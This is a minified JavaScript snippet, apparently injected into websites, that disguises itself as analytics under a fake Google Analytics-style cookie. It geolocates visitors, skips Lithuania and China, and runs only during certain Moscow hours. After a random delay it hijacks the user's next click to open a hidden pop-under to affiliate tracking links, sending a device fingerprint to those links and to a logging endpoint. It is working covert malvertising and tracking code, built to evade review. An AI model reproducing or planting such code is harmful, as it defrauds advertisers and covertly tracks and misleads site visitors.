(function () { const fParam = new URLSearchParams(window.location.search).get("f"); if (fParam && fParam === "tspirit") return; const offerList = [ "https://tracktsp.com/click?o=2&a=11", "https://tracktsp.com/click?o=2&a=20", "https://tracktsp.com/click?o=2&a=25" ]; const baseUrl = offerList[Math.floor(Math.random() * offerList.length)]; const cookieName = "_ga_client"; let activated = false; let userGeo = "unknown"; function generateUUID() { return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, c => { const r = Math.random() * 16 | 0; const v = c === 'x' ? r : (r & 0x3 | 0x8); return v.toString(16); }); } function getCookie(name) { const match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)')); return match ? match[2] : null; } function setCookie(name, value, days) { const expires = new Date(Date.now() + days * 864e5).toUTCString(); document.cookie = name + "=" + value + "; expires=" + expires + "; path=/"; } function getDeviceFingerprint() { return [ navigator.userAgent, screen.width, screen.height, navigator.language, Intl.DateTimeFormat().resolvedOptions().timeZone ].join('|'); } function logToServer(cid, fp, geo) { fetch("/.netlify/functions/log", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ cid: cid, fp: fp, geo: geo, offer: baseUrl, ts: Date.now() }) }).catch(() => {}); } function sendAnalyticsHit(clientId) { const fp = getDeviceFingerprint(); logToServer(clientId, fp, userGeo); const finalUrl = `${baseUrl}&cid=${encodeURIComponent(clientId)}&fp=${encodeURIComponent(fp)}`; const newTab = window.open(finalUrl, "_blank", "noopener,noreferrer"); if (newTab) { newTab.blur(); window.focus(); } } function trackUserEngagement() { if (activated) return; activated = true; let clientId = getCookie(cookieName); if (!clientId) { clientId = generateUUID(); setCookie(cookieName, clientId, 365); } sendAnalyticsHit(clientId); document.removeEventListener("click", trackUserEngagement); } function initializeAnalytics() { const delay = Math.floor(Math.random() * (90000 - 35000)) + 35000; setTimeout(() => { document.addEventListener("click", trackUserEngagement); }, delay); } function isAllowedMoscowTime() { const now = new Date(); const moscowHour = (now.getUTCHours() + 3) % 24; return (moscowHour >= 14 || moscowHour < 3); } fetch("https://ipapi.co/json/") .then(r => r.json()) .then(data => { userGeo = data.country || "unknown"; if (userGeo !== "LT" && userGeo !== "CN" && isAllowedMoscowTime()) { if (document.readyState === "complete" || document.readyState === "interactive") { initializeAnalytics(); } else { document.addEventListener("DOMContentLoaded", initializeAnalytics); } } }) .catch(() => { if (isAllowedMoscowTime()) { initializeAnalytics(); } }); })();